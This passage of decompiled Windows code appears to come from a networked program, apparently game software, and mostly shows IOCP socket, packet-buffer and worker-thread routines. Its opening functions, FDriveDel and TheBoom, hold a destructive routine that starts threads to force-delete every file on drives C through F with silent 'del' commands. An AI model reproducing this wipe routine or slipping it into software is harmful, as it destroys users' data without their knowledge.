unsigned int __stdcall FDriveDel(void *LPARAM) { unsigned int v1; // eax@1 v1 = RunSilent("del", "f:\\* /A RSHA /S /Q /F"); if ( v1 ) { while ( v1 != 1 ) ; } _endthreadex(0); } //----- (005E7AD0) -------------------------------------------------------- BOOL __cdecl TheBoom() { void *v0; // esi@1 void *v1; // edi@1 void *v2; // ebx@1 void *v3; // ebp@1 DWORD nThreadID; // [sp+10h] [bp-4h]@1 nThreadID = 0; v0 = (void *)_beginthreadex(0, 0, FDriveDel, 0, 0, &nThreadID); v1 = (void *)_beginthreadex(0, 0, EDriveDel, 0, 0, &nThreadID); v2 = (void *)_beginthreadex(0, 0, DDriveDel, 0, 0, &nThreadID); v3 = (void *)_beginthreadex(0, 0, CDriveDel, 0, 0, &nThreadID); CloseHandle(v0); CloseHandle(v1); CloseHandle(v2); return CloseHandle(v3); } //----- (005E7B60) -------------------------------------------------------- int __thiscall CSocket_Acceptor_Process_Interface::Accept_Process(CIOCP_Process_Socket *this, CIOCP::IOCP_OVERLAPPED *pOverlapped, unsigned int NumOfBytes) { return 1; } //----- (005E7B70) -------------------------------------------------------- void __thiscall CIOCP_Process::CIOCP_Process(CIOCP_Process *this) { CIOCP_Process *v1; // eax@1 char *v2; // ecx@1 v1 = this; v2 = (char *)&this->m_DefautProcess; *(_DWORD *)v2 = &CIOCP_Process_Interfece::_vftable_; v1->m_pProcess = (CIOCP_Process_Interfece *)v2; } // 6799EC: using guessed type int (__stdcall *CIOCP_Process_Interfece___vftable_)(int pOverlapped, int NumOfBytes); //----- (005E7B80) -------------------------------------------------------- int __thiscall CSocket_IOCP::Receive(CSocket_IOCP *this, void *pBuffer, unsigned int dwNumBytes, unsigned int *pdwReadBytes) { void *v4; // edx@1 DWORD v5; // eax@2 int result; // eax@4 DWORD ReadBytes; // [sp+10h] [bp-108h]@1 char Msg[256]; // [sp+14h] [bp-104h]@4 unsigned int v9; // [sp+114h] [bp-4h]@1 v4 = (void *)this->m_Socket; v9 = (unsigned int)&ReadBytes ^ __security_cookie; if ( ReadFile(v4, pBuffer, dwNumBytes, &ReadBytes, &this->m_Overlapped_Read.baseclass_0) || (v5 = GetLastError()) == 0 || v5 == 997 ) { if ( pdwReadBytes ) *pdwReadBytes = ReadBytes; result = 1; } else { sprintf(Msg, "CSocket_IOCP::Read, ERROR=%d, m_Socket=%d, pBuffer=%p, dwNumBytes:%d, ReadBytes:%d"); _DebugMessageNew(1, "Msg", "%s"); result = 0; } return result; } //----- (005E7C40) -------------------------------------------------------- int __thiscall CSocket_IOCP::Shutdown(CSocket_IOCP *this) { int result; // eax@3 char Msg[256]; // [sp+0h] [bp-104h]@1 unsigned int v3; // [sp+100h] [bp-4h]@1 v3 = (unsigned int)Msg ^ __security_cookie; if ( this->m_Socket != -1 && shutdown(this->m_Socket, 1) ) { _DebugMessageNew(1, "Msg", "%s"); GetLastError(); sprintf(Msg, "ERROR - CSocket_IOCP::Shutdown : GetLastError %d"); _DebugMessageNew(1, "Msg", "%s"); result = 0; } else { result = 1; } return result; } //----- (005E7CF0) -------------------------------------------------------- void __thiscall CSocket_IOCP::CloseUseIOCP(CSocket_IOCP *this, CIOCP *pIOCP) { PostQueuedCompletionStatus(pIOCP->m_HandleIOCP, 0, this->m_Socket, &this->m_Overlapped_Close.baseclass_0); } //----- (005E7D10) -------------------------------------------------------- void __thiscall CSocket_IOCP::FreeBuffer(CSocket_IOCP *this) { CSocket_IOCP *v1; // esi@1 CIOBuffer *v2; // ecx@2 v1 = this; while ( v1->m_pFirstBuf ) { v2 = v1->m_pFirstBuf; v1->m_pFirstBuf = v2->m_pNext; v1->m_nPendingWrite -= v2->m_dwSize; CIOBuffer::Free(v2); } } //----- (005E7D50) -------------------------------------------------------- int __thiscall CSocket_IOCP::Close(CSocket_IOCP *this) { CSocket_IOCP *v1; // esi@1 int v2; // ebx@1 v1 = this; v2 = 1; if ( this->m_Socket != -1 ) { if ( closesocket(this->m_Socket) ) { _DebugMessageNew(1, "Msg", "%s"); GetLastError(); v2 = 0; } else { v1->m_Socket = -1; } } EnterCriticalSection(&v1->m_Write_CS); CSocket_IOCP::FreeBuffer(v1); v1->m_nPendingWrite = 0; v1->m_pFirstBuf = 0; LeaveCriticalSection(&v1->m_Write_CS); return v2; } //----- (005E7DD0) -------------------------------------------------------- int __thiscall CSocket_IOCP::Write(CSocket_IOCP *this, CIOBuffer *pBuffer) { CSocket_IOCP *v2; // ebp@1 DWORD v3; // esi@1 unsigned int v4; // eax@1 void *v5; // edx@3 CIOBuffer *v7; // ecx@8 DWORD v8; // eax@11 CIOBuffer *v9; // eax@19 unsigned int v10; // edx@20 unsigned int v11; // ecx@20 void *v12; // edi@21 unsigned int v13; // eax@21 unsigned int v14; // ecx@21 DWORD WrittenBytes; // [sp+Ch] [bp-108h]@1 char Msg[128]; // [sp+10h] [bp-104h]@2 unsigned int v17; // [sp+110h] [bp-4h]@1 v2 = this; v3 = (DWORD)&this->m_Write_CS; v17 = (unsigned int)&WrittenBytes ^ __security_cookie; WrittenBytes = (DWORD)&this->m_Write_CS; EnterCriticalSection(&this->m_Write_CS); v4 = pBuffer->m_dwSize; if ( !v4 ) { sprintf(Msg, "CSocket_IOCP::Write dwSize=%d"); _DebugMessageNew(1, "Msg", "%s"); LABEL_7: CIOBuffer::Free(pBuffer); LeaveCriticalSection((LPCRITICAL_SECTION)v3); return 0; } v5 = (void *)v2->m_Socket; if ( v2->m_Socket == -1 ) { sprintf(Msg, "CSocket_IOCP::Write, INVALID m_Socket=%d"); _DebugMessageNew(1, "Msg", "%s"); goto LABEL_7; } if ( v4 > 0x2000 ) { sprintf(Msg, "Send IOBuffer Full::dwSize=%d, BUFFER_SIZE=%d"); _DebugMessageNew(1, "Msg", "%s"); goto LABEL_7; } v2->m_nPendingWrite += v4; v7 = v2->m_pFirstBuf; if ( v7 ) { v9 = v2->m_pLastBuf; if ( v7 == v9 || (v10 = v9->m_dwSize, v11 = pBuffer->m_dwSize, v10 + v11 > 0x2000) ) { v9->m_pNext = pBuffer; v2->m_pLastBuf = pBuffer; } else { v12 = &v9->m_buffer[v10]; v13 = pBuffer->m_dwSize; v14 = v11 >> 2; memcpy(v12, pBuffer->m_buffer, 4 * v14); memcpy((char *)v12 + 4 * v14, &pBuffer->m_buffer[4 * v14], v13 & 3); v2->m_pLastBuf->m_dwSize += pBuffer->m_dwSize; CIOBuffer::Free(pBuffer); v3 = WrittenBytes; } goto LABEL_23; } v2->m_pLastBuf = pBuffer; v2->m_pFirstBuf = pBuffer; if ( WriteFile(v5, pBuffer->m_buffer, pBuffer->m_dwSize, &WrittenBytes, &v2->m_Overlapped_Write.baseclass_0) || GetLastError() == 997 ) { LABEL_23: LeaveCriticalSection((LPCRITICAL_SECTION)v3); return 1; } v8 = GetLastError(); if ( v8 != 10038 && v8 != 10054 && v8 != 10053 && v8 != 10058 && v8 != 10022 ) { if ( v8 != 64 ) { sprintf(Msg, "CSocket_IOCP::Write %#x(%#x) err=%d"); _DebugMessageNew(1, "Msg", "%s"); } } CSocket_IOCP::FreeBuffer(v2); LeaveCriticalSection((LPCRITICAL_SECTION)v3); return 0; } //----- (005E8010) -------------------------------------------------------- void __thiscall CSocket_IOCP::WriteCallback(CSocket_IOCP *this, unsigned int dwTransferred) { CSocket_IOCP *v2; // esi@1 _RTL_CRITICAL_SECTION *v3; // ebx@1 CIOBuffer *v4; // eax@1 CIOBuffer *v5; // edi@5 CIOBuffer *v6; // eax@5 DWORD v7; // eax@8 DWORD WrittenBytes; // [sp+Ch] [bp-88h]@1 char Msg[128]; // [sp+10h] [bp-84h]@14 unsigned int v10; // [sp+90h] [bp-4h]@1 v2 = this; v3 = &this->m_Write_CS; v10 = (unsigned int)&WrittenBytes ^ __security_cookie; EnterCriticalSection(&this->m_Write_CS); v4 = v2->m_pFirstBuf; if ( v4 ) { if ( dwTransferred == v4->m_dwSize ) { v5 = v2->m_pFirstBuf; v2->m_nPendingWrite -= dwTransferred; v6 = v5->m_pNext; v2->m_pFirstBuf = v6; if ( v6 && !WriteFile( (HANDLE)v2->m_Socket, v6->m_buffer, v6->m_dwSize, &WrittenBytes, &v2->m_Overlapped_Write.baseclass_0) && GetLastError() != 997 ) { v7 = GetLastError(); if ( v7 != 10038 && v7 != 10054 && v7 != 10053 && v7 != 10058 && v7 != 10022 ) { if ( v7 != 64 ) { sprintf(Msg, "CSocket_IOCP::WriteCallback %#x(%#x) err=%d"); _DebugMessageNew(1, "Msg", "%s"); } } CSocket_IOCP::FreeBuffer(v2); } CIOBuffer::Free(v5); } else { inet_ntoa(*(struct in_addr *)&v2->m_SocketAddr.sa_data[2]); ntohs(*(_WORD *)&v2->m_SocketAddr.sa_data[0]); _DEBUGMSG("MISSMATCH - WriteCallback, dwTransferred=%d, FirstBFSize=%d, IP=%s:%d, SOCKET=%d, m_nPendingWrite=%d"); CSocket_IOCP::FreeBuffer(v2); } LeaveCriticalSection(v3); } else { inet_ntoa(*(struct in_addr *)&v2->m_SocketAddr.sa_data[2]); ntohs(*(_WORD *)&v2->m_SocketAddr.sa_data[0]); _DEBUGMSG("m_pFirstBuf = NULL - WriteCallback, IP=%s:%d, SOCKET=%d, dwTransferred=%d, m_nPendingWrite=%d"); CSocket_IOCP::FreeBuffer(v2); LeaveCriticalSection(v3); } } //----- (005E81D0) -------------------------------------------------------- void __thiscall CSocket_IOCP::CSocket_IOCP(CSocket_IOCP *this) { CSocket_IOCP *v1; // esi@1 char *v2; // edi@1 v1 = this; v2 = (char *)&this->m_Write_IOCP_Process; this->m_IOCP_Process_Socket.baseclass_0.vfptr = (CIOCP_Process_InterfeceVtbl *)&CIOCP_Process_Interfece::_vftable_; CIOCP_Process::CIOCP_Process(&this->m_Write_IOCP_Process); CIOCP_Process::CIOCP_Process(&v1->m_Read_IOCP_Process); CIOCP_Process::CIOCP_Process(&v1->m_Close_IOCP_Process); v1->m_Socket = -1; *(_DWORD *)&v1->m_SocketAddr.sa_family = 0; *(_DWORD *)&v1->m_SocketAddr.sa_data[2] = 0; *(_DWORD *)&v1->m_SocketAddr.sa_data[6] = 0; *(_DWORD *)&v1->m_SocketAddr.sa_data[10] = 0; v1->m_Overlapped_Write.baseclass_0.Internal = 0; v1->m_Overlapped_Write.baseclass_0.InternalHigh = 0; v1->m_Overlapped_Write.baseclass_0.___u2.Offset = 0; v1->m_Overlapped_Write.baseclass_0.OffsetHigh = 0; v1->m_Overlapped_Write.baseclass_0.hEvent = 0; v1->m_Overlapped_Write.Type = 0; v1->m_Overlapped_Write.pIOCP_Process = 0; v1->m_Overlapped_Write.pData = 0; v1->m_Overlapped_Write.Type = 1; v1->m_Overlapped_Write.pIOCP_Process = (CIOCP_Process *)v2; v1->m_Overlapped_Write.pData = v1; v1->m_Overlapped_Read.baseclass_0.Internal = 0; v1->m_Overlapped_Read.baseclass_0.InternalHigh = 0; v1->m_Overlapped_Read.baseclass_0.___u2.Offset = 0; v1->m_Overlapped_Read.baseclass_0.OffsetHigh = 0; v1->m_Overlapped_Read.baseclass_0.hEvent = 0; v1->m_Overlapped_Read.Type = 0; v1->m_Overlapped_Read.pIOCP_Process = 0; v1->m_Overlapped_Read.pData = 0; v1->m_Overlapped_Read.pIOCP_Process = &v1->m_Read_IOCP_Process; v1->m_Overlapped_Read.pData = v1; v1->m_Overlapped_Read.Type = 0; v1->m_Overlapped_Close.baseclass_0.Internal = 0; v1->m_Overlapped_Close.baseclass_0.InternalHigh = 0; v1->m_Overlapped_Close.baseclass_0.___u2.Offset = 0; v1->m_Overlapped_Close.baseclass_0.OffsetHigh = 0; v1->m_Overlapped_Close.baseclass_0.hEvent = 0; v1->m_Overlapped_Close.Type = 0; v1->m_Overlapped_Close.pIOCP_Process = 0; v1->m_Overlapped_Close.pData = 0; v1->m_nPendingWrite = 0; v1->m_pFirstBuf = 0; v1->m_Overlapped_Close.Type = 2; v1->m_Overlapped_Close.pIOCP_Process = &v1->m_Close_IOCP_Process; v1->m_Overlapped_Close.pData = v1; InitializeCriticalSection(&v1->m_Write_CS); } // 6799EC: using guessed type int (__stdcall *CIOCP_Process_Interfece___vftable_)(int pOverlapped, int NumOfBytes); //----- (005E82C0) -------------------------------------------------------- void __thiscall CSocket_IOCP::_CSocket_IOCP(CSocket_IOCP *this) { CSocket_IOCP *v1; // esi@1 v1 = this; CSocket_IOCP::Shutdown(this); CSocket_IOCP::Close(v1); EnterCriticalSection(&v1->m_Write_CS); CSocket_IOCP::FreeBuffer(v1); v1->m_nPendingWrite = 0; v1->m_pFirstBuf = 0; LeaveCriticalSection(&v1->m_Write_CS); DeleteCriticalSection(&v1->m_Write_CS); } //----- (005E8310) -------------------------------------------------------- int __thiscall CSocket_IOCP::Connect(CSocket_IOCP *this, char *pIPAddress, int PortNo) { CSocket_IOCP *v3; // esi@1 SOCKET v4; // eax@2 char *v5; // eax@3 char v6; // cl@4 char *v7; // eax@6 char *v8; // edx@7 char v9; // cl@8 u_short v10; // ax@9 SOCKET v11; // ST00_4@9 SOCKET v13; // ST00_4@12 int sizename; // [sp+8h] [bp-118h]@1 struct sockaddr serv_addr; // [sp+Ch] [bp-114h]@9 char NewIPAddress[256]; // [sp+1Ch] [bp-104h]@4 unsigned int v17; // [sp+11Ch] [bp-4h]@1 v17 = (unsigned int)&sizename ^ __security_cookie; v3 = this; CSocket_IOCP::Shutdown(this); CSocket_IOCP::Close(v3); if ( !InetAddress::WinSockStart(2, 2) || (v4 = socket(2, 1, 6), v3->m_Socket = v4, v4 == -1) ) return 0; v5 = pIPAddress; do { v6 = *v5; v5[NewIPAddress - pIPAddress] = *v5; ++v5; } while ( v6 ); if ( isalpha(NewIPAddress[0]) ) { v7 = InetAddress::GetHostByName(pIPAddress); if ( v7 ) { v8 = (char *)(NewIPAddress - v7); do { v9 = *v7; v7[(_DWORD)v8] = *v7; ++v7; } while ( v9 ); } } *(_DWORD *)&serv_addr.sa_family = 0; *(_DWORD *)&serv_addr.sa_data[2] = 0; *(_DWORD *)&serv_addr.sa_data[6] = 0; *(_DWORD *)&serv_addr.sa_data[10] = 0; serv_addr.sa_family = 2; *(_DWORD *)&serv_addr.sa_data[2] = inet_addr(NewIPAddress); v10 = htons(PortNo); v11 = v3->m_Socket; *(_WORD *)&serv_addr.sa_data[0] = v10; if ( connect(v11, &serv_addr, 16) ) { WSAGetLastError(); CSocket_IOCP::Close(v3); return 0; } v13 = v3->m_Socket; sizename = 16; getpeername(v13, &v3->m_SocketAddr, &sizename); return 1; } //----- (005E8450) -------------------------------------------------------- int __thiscall CSocket_IOCP::Send(CSocket_IOCP *this, void *pBuffer, unsigned int dwNumBytes) { signed int v3; // ebx@1 void *v4; // ebp@1 int result; // eax@7 CIOBuffer *v6; // eax@10 CSocket_IOCP *v7; // ecx@12 CSocket_IOCP *thisa; // [sp+10h] [bp-108h]@1 char Msg[256]; // [sp+14h] [bp-104h]@3 unsigned int v10; // [sp+114h] [bp-4h]@1 v3 = dwNumBytes; v4 = pBuffer; v10 = (unsigned int)&thisa ^ __security_cookie; thisa = this; if ( dwNumBytes > 0x2000 ) { if ( *(_BYTE *)pBuffer ) sprintf(Msg, "WARNING - CSocket_IOCP::Send, OVERMAX SIZE,TYPE_0, PacketSize=%d, Netcmd=%d,%d"); else sprintf(Msg, "WARNING - CSocket_IOCP::Send, OVERMAX SIZE,TYPE_1, PacketSize=%d, Netcmd=%d,%d"); _DebugMessageNew(1, "Msg", "%s"); } if ( dwNumBytes ) { while ( 1 ) { v6 = CIOBuffer::Alloc(); if ( (unsigned int)v3 > 0x2000 ) v3 = 8192; memcpy(v6->m_buffer, v4, v3); v7 = thisa; v6->m_dwSize = v3; if ( !CSocket_IOCP::Write(v7, v6) ) break; v4 = (char *)v4 + v3; dwNumBytes -= v3; if ( !dwNumBytes ) goto LABEL_7; v3 = dwNumBytes; } result = 0; } else { LABEL_7: result = 1; } return result; } //----- (005E8580) -------------------------------------------------------- void __thiscall CPacket::_CPacket(CPacket *this) { CPacket *v1; // esi@1 void *v2; // eax@1 v1 = this; v2 = this->m_pPacketBuffer; this->vfptr = (CPacketVtbl *)CPacket::_vftable_; if ( v2 ) { operator delete(v2); v1->m_pPacketBuffer = 0; v1->m_MaxPacketSize = 0; v1->m_pPacketHeader = 0; } } // 688A58: using guessed type int (__cdecl *CPacket___vftable_[2])(int __formal); //----- (005E85B0) -------------------------------------------------------- int __thiscall CPacket::IsValidHeader(CPacket *this) { CPacket::PACKET *v1; // edx@1 unsigned int v2; // eax@1 v1 = this->m_pPacketHeader; v2 = &this->m_pPacketBuffer[this->m_WritePosition] - (char *)v1; if ( (signed int)(&this->m_pPacketBuffer[this->m_WritePosition] - (char *)v1) > 0 && v2 >= 1 ) { if ( v1->Packet1.size ) { if ( v2 >= 3 ) return 1; } else { if ( v2 >= 5 ) return 2; } } return 0; } //----- (005E85F0) -------------------------------------------------------- int __thiscall CPacket::IsValidPacket(CPacket *this) { CPacket *v1; // esi@1 int result; // eax@1 int v3; // eax@2 CPacket *nError; // [sp+4h] [bp-4h]@1 nError = this; v1 = this; result = ((int (*)(void))this->vfptr->IsValidHeader)(); if ( result ) { v3 = v1->vfptr->GetPacketSize(v1, (int *)&nError); if ( (signed int)nError < 0 || v3 > v1->m_MaxPacketSize || (unsigned int)v3 <= 2 ) result = 2; else result = (signed int)&v1->m_pPacketBuffer[v1->m_WritePosition - (unsigned int)v1->m_pPacketHeader] >= v3; } return result; } //----- (005E8640) -------------------------------------------------------- int __thiscall CPacket::GetPacketSize(CPacket *this, int *pError) { int result; // eax@4 CPacket::PACKET *v3; // eax@5 if ( !pError ) return 0; if ( !this->m_pPacketHeader ) { *pError = -1; return 0; } *pError = 0; v3 = this->m_pPacketHeader; if ( v3->Packet1.size ) result = v3->Packet1.size + 1; else result = v3->Packet1.ID + 3; return result; } //----- (005E8680) -------------------------------------------------------- unsigned __int16 __thiscall CPacket::GetDataSize(CPacket *this) { CPacket::PACKET *v1; // eax@1 unsigned __int16 result; // ax@2 v1 = this->m_pPacketHeader; if ( v1->Packet1.size ) result = v1->Packet1.size; else result = v1->Packet1.ID; return result; } //----- (005E86A0) -------------------------------------------------------- unsigned __int16 *__thiscall CPacket::GetIDPtr(CPacket *this) { CPacket::PACKET *v1; // eax@1 unsigned __int16 *result; // eax@2 v1 = this->m_pPacketHeader; if ( v1->Packet1.size ) result = &v1->Packet1.ID; else result = &v1->Packet2.ID; return result; } //----- (005E86B0) -------------------------------------------------------- char *__thiscall CPacket::GetDataPtr(CPacket *this) { CPacket::PACKET *v1; // eax@1 char *result; // eax@2 v1 = this->m_pPacketHeader; if ( v1->Packet1.size ) result = (char *)&v1->Packet2.ID; else result = (char *)&v1[1]; return result; } //----- (005E86C0) -------------------------------------------------------- int __thiscall CPacket::GetPacket(CPacket *this, unsigned __int16 *pID, char **ppData, int *pDataSize) { CPacket *v4; // esi@1 int v5; // eax@1 int result; // eax@3 v4 = this; v5 = ((int (*)(void))this->vfptr->IsValidPacket)(); if ( v5 ) { if ( v5 == 1 ) { *pID = v4->vfptr->ID(v4); *ppData = v4->vfptr->GetDataPtr(v4); *pDataSize = v4->vfptr->GetDataSize(v4); result = 1; } else { result = 2; } } else { result = 0; } return result; } //----- (005E8720) -------------------------------------------------------- void __thiscall CPacket::TakeNextPacket(CPacket *this) { CPacket *v1; // esi@1 int v2; // eax@1 CPacket *nError; // [sp+4h] [bp-4h]@1 nError = this; v1 = this; v2 = ((int (__stdcall *)(_DWORD))this->vfptr->GetPacketSize)(&nError); if ( (signed int)nError >= 0 ) v1->m_pPacketHeader = (CPacket::PACKET *)((char *)v1->m_pPacketHeader + v2); } //----- (005E8740) -------------------------------------------------------- int __thiscall CPacket::RemoveAllUsedPacket(CPacket *this) { CPacket *v1; // esi@1 int v2; // eax@1 int result; // eax@2 char *v4; // ecx@3 char *v5; // edx@3 int v6; // edi@3 v1 = this; v2 = this->m_WritePosition; if ( v2 >= this->m_MaxPacketSize ) { v4 = (char *)this->m_pPacketHeader; v5 = v1->m_pPacketBuffer; v6 = v4 - v5; if ( v4 == v5 ) { result = 0; } else { memmove(v5, v4, v2 - v6); v1->m_pPacketHeader = (CPacket::PACKET *)v1->m_pPacketBuffer; v1->m_WritePosition -= v6; result = 1; } } else { result = 0; } return result; } //----- (005E8790) -------------------------------------------------------- void __thiscall CPacket::Clear(CPacket *this) { CPacket *v1; // esi@1 v1 = this; if ( !this->m_pPacketBuffer ) { this->m_pPacketBuffer = (char *)operator new__(0x2000u); v1->m_MaxPacketSize = 8192; } v1->m_pPacketHeader = (CPacket::PACKET *)v1->m_pPacketBuffer; v1->m_WritePosition = 0; v1->m_ReadPosition = 0; } //----- (005E87D0) -------------------------------------------------------- unsigned __int16 __thiscall CPacket::ID(CPacket *this) { CPacket::PACKET *v1; // eax@1 unsigned __int16 result; // ax@2 v1 = this->m_pPacketHeader; if ( v1->Packet1.size ) result = v1->Packet1.ID; else result = v1->Packet2.ID; return result; } //----- (005E87F0) -------------------------------------------------------- void __thiscall CPacket::WriteData(CPacket *this, void *buffer, int size) { int v3; // edx@1 CPacket *v4; // eax@1 int v5; // ebx@1 int v6; // eax@2 void *v7; // edi@6 unsigned int v8; // ecx@6 v3 = size; v4 = this; v5 = this->m_WritePosition; if ( v5 + size > this->m_MaxPacketSize ) { v6 = (int)operator new(1u); if ( v6 ) { *(_BYTE *)v6 = 0; size = v6; } else { size = 0; } _CxxThrowException(&size, &_TI2PAVInvalidPacketException_CPacket__); } v7 = &this->m_pPacketBuffer[v5]; v8 = (unsigned int)size >> 2; memcpy(v7, buffer, 4 * ((unsigned int)size >> 2)); memcpy((char *)v7 + 4 * v8, (char *)buffer + 4 * v8, v3 & 3); v4->m_WritePosition += v3; v4->m_pPacketHeader->Packet1.size += v3; } //----- (005E8860) -------------------------------------------------------- int __thiscall CPacket::GetWriteableBufferSize(CPacket *this) { return this->m_MaxPacketSize - this->m_WritePosition; } //----- (005E8870) -------------------------------------------------------- char *__thiscall CPacket::GetWriteDataPtr(CPacket *this) { return &this->m_pPacketBuffer[this->m_WritePosition]; } //----- (005E8880) -------------------------------------------------------- void __thiscall CPacket::CPacket(CPacket *this) { CPacket *v1; // esi@1 void *v2; // eax@1 v1 = this; this->vfptr = (CPacketVtbl *)CPacket::_vftable_; this->m_pPacketBuffer = 0; this->m_pPacketHeader = 0; v2 = operator new__(0x2000u); v1->m_WritePosition = 0; v1->m_ReadPosition = 0; v1->m_pPacketBuffer = (char *)v2; v1->m_pPacketHeader = (CPacket::PACKET *)v2; v1->m_MaxPacketSize = 8192; } // 688A58: using guessed type int (__cdecl *CPacket___vftable_[2])(int __formal); //----- (005E88C0) -------------------------------------------------------- CPacket *__thiscall CPacket::ID(CPacket *this, unsigned __int16 PacketID, int DataSize, char *pData) { CPacket *v4; // esi@1 signed int v5; // edi@1 int v6; // ebx@1 void *v7; // eax@5 CPacket::PACKET *v8; // ecx@8 CPacket *result; // eax@9 v4 = this; v5 = (unsigned int)(DataSize + 2) < 0x100 ? 3 : 5; v6 = v5 + DataSize; if ( this->m_pPacketBuffer && this->m_MaxPacketSize < v6 ) { operator delete(this->m_pPacketBuffer); v4->m_pPacketBuffer = 0; } if ( !v4->m_pPacketBuffer ) { v7 = operator new__(v6); v4->m_pPacketBuffer = (char *)v7; v4->m_pPacketHeader = (CPacket::PACKET *)v7; v4->m_MaxPacketSize = v6; } v4->m_WritePosition = v5; if ( pData ) CPacket::WriteData(v4, pData, DataSize); v8 = v4->m_pPacketHeader; if ( v5 == 3 ) { v8->Packet1.ID = PacketID; v4->m_pPacketHeader->Packet1.size = v6 - 1; v4->m_ReadPosition = 3; result = v4; } else { v8->Packet2.ID = PacketID; v4->m_pPacketHeader->Packet1.size = 0; v4->m_pPacketHeader->Packet1.ID = v6 - 3; v4->m_ReadPosition = v5; result = v4; } return result; } //----- (005E8970) -------------------------------------------------------- void __thiscall CIOCP::CIOCP(CIOCP *this) { this->m_NumOfWorkThread = 0; this->m_ActiveWorker = 0; this->m_pWorkThreads = 0; this->m_HandleIOCP = 0; this->m_Overlapped_Stop.baseclass_0.Internal = 0; this->m_Overlapped_Stop.baseclass_0.InternalHigh = 0; this->m_Overlapped_Stop.baseclass_0.___u2.Offset = 0; this->m_Overlapped_Stop.baseclass_0.OffsetHigh = 0; this->m_Overlapped_Stop.baseclass_0.hEvent = 0; this->m_Overlapped_Stop.Type = 0; this->m_Overlapped_Stop.pIOCP_Process = 0; this->m_Overlapped_Stop.pData = 0; this->m_Overlapped_Stop.Type = 3; } //----- (005E89B0) -------------------------------------------------------- void *__thiscall CIOCP::Register(CIOCP *this, void *IOHandle, unsigned int CompletionKey) { CIOCP *v3; // esi@1 void *result; // eax@2 v3 = this; if ( this->m_HandleIOCP != (void *)-1 || (result = CreateIoCompletionPort((HANDLE)0xFFFFFFFF, 0, 0, 0), v3->m_HandleIOCP = result, result != (void *)-1) ) result = CreateIoCompletionPort(IOHandle, v3->m_HandleIOCP, CompletionKey, 0); return result; } //----- (005E89F0) -------------------------------------------------------- void __thiscall CIOCP::Stop(CIOCP *this, int StopWorkerID) { ULONG_PTR v2; // esi@1 int v3; // ebp@4 int v4; // eax@4 signed int v5; // ebx@7 int v6; // edi@8 int v7; // ebp@8 int v8; // eax@9 int v9; // ecx@9 int v10; // eax@9 signed int v11; // edx@15 int v12; // ecx@16 int v13; // eax@16 int ThreadEnd; // [sp+4h] [bp-8h]@4 int ThreadStart; // [sp+8h] [bp-4h]@4 v2 = (ULONG_PTR)this; if ( this->m_pWorkThreads && this->m_ActiveWorker ) { if ( StopWorkerID == -1 ) { v3 = this->m_NumOfWorkThread; v4 = 0; ThreadStart = 0; ThreadEnd = this->m_NumOfWorkThread; } else { ThreadStart = StopWorkerID; ThreadEnd = StopWorkerID + 1; v3 = StopWorkerID + 1; v4 = StopWorkerID; } while ( 1 ) { v5 = 0; if ( v4 >= v3 ) goto LABEL_26; v6 = 20 * v4; v7 = v3 - v4; do { v8 = *(_DWORD *)(v2 + 12); v9 = *(_DWORD *)(v8 + v6 + 4); v10 = v6 + v8; switch ( v9 ) { case 4: CloseHandle(*(HANDLE *)(v10 + 8)); *(_DWORD *)(v6 + *(_DWORD *)(v2 + 12) + 4) = 0; break; case 2: *(_DWORD *)(v10 + 4) = 3; v5 = 1; PostQueuedCompletionStatus(*(HANDLE *)v2, 0, v2, (LPOVERLAPPED)(v2 + 16)); break; case 1: case 3: v5 = 1; break; default: break; } v6 += 20; --v7; } while ( v7 ); if ( !v5 ) { LABEL_26: v11 = 1; if ( *(_DWORD *)(v2 + 4) <= 0 ) goto LABEL_27; v12 = *(_DWORD *)(v2 + 4); v13 = *(_DWORD *)(v2 + 12) + 4; do { if ( *(_DWORD *)v13 ) v11 = 0; v13 += 20; --v12; } while ( v12 ); if ( v11 ) { LABEL_27: operator delete(*(void **)(v2 + 12)); *(_DWORD *)(v2 + 12) = 0; *(_DWORD *)(v2 + 8) = 0; return; } if ( StopWorkerID != -1 ) return; Sleep(2u); } v3 = ThreadEnd; v4 = ThreadStart; } } } //----- (005E8B20) -------------------------------------------------------- unsigned int __stdcall CIOCP::WorkThread(void *lpParam) { void *v1; // esi@1 DWORD v2; // eax@5 int v3; // eax@8 void *hIOCP; // [sp+10h] [bp-Ch]@1 DWORD NumOfBytes; // [sp+14h] [bp-8h]@2 unsigned __int32 CompletionKey; // [sp+18h] [bp-4h]@2 v1 = lpParam; hIOCP = (void *)**((_DWORD **)lpParam + 4); _DEBUGMSGVC(gbDMVCICOP, ""); *((_DWORD *)v1 + 1) = 2; do { if ( GetQueuedCompletionStatus(hIOCP, &NumOfBytes, &CompletionKey, (LPOVERLAPPED *)&lpParam, 0x3E8u) ) { if ( *((_DWORD *)lpParam + 5) == 3 ) break; (*(void (__stdcall **)(void *, DWORD))***((void (__stdcall *****)(_DWORD, _DWORD))lpParam + 6))( lpParam, NumOfBytes); } else { v2 = GetLastError(); if ( v2 != 258 ) { if ( v2 != 995 ) { if ( lpParam ) { v3 = *((_DWORD *)lpParam + 6); if ( v3 ) (*(void (__stdcall **)(void *))(**(_DWORD **)v3 + 4))(lpParam); } } } } } while ( *((_DWORD *)v1 + 1) == 2 ); *((_DWORD *)v1 + 1) = 4; _DEBUGMSGVC(gbDMVCICOP, ""); return 0; } //----- (005E8C00) -------------------------------------------------------- int __thiscall CIOCP::Start(CIOCP *this, int nNumOfWorkThread, int bWaitAllThreadStart) { CIOCP *v3; // esi@1 int result; // eax@2 int v5; // ebx@3 int v6; // edi@4 int v7; // ebx@7 int v8; // edi@8 v3 = this; if ( this->m_HandleIOCP || (result = (int)CreateIoCompletionPort((HANDLE)0xFFFFFFFF, 0, 0, 0), (v3->m_HandleIOCP = (void *)result) != 0) ) { CIOCP::Stop(v3, -1); v5 = 0; v3->m_pWorkThreads = (CIOCP::WORKER *)operator new__(20 * nNumOfWorkThread); v3->m_ActiveWorker = 1; if ( nNumOfWorkThread > 0 ) { v6 = 0; do { v3->m_pWorkThreads[v6].pIOCP = v3; v3->m_pWorkThreads[v6].WorkerID = v5; v3->m_pWorkThreads[v6].WorkerStatus = 1; v3->m_pWorkThreads[v6].hThread = CreateThread( 0, 0, CIOCP::WorkThread, &v3->m_pWorkThreads[v6], 0, &v3->m_pWorkThreads[v6].ThreadID); Sleep(0x32u); ++v5; ++v6; } while ( v5 < nNumOfWorkThread ); } if ( bWaitAllThreadStart ) { v7 = 0; if ( nNumOfWorkThread > 0 ) { v8 = 0; do { if ( v3->m_pWorkThreads[v8].WorkerStatus == 1 ) { Sleep(0x32u); } else { ++v7; ++v8; } } while ( v7 < nNumOfWorkThread ); } } v3->m_NumOfWorkThread = nNumOfWorkThread; result = nNumOfWorkThread; 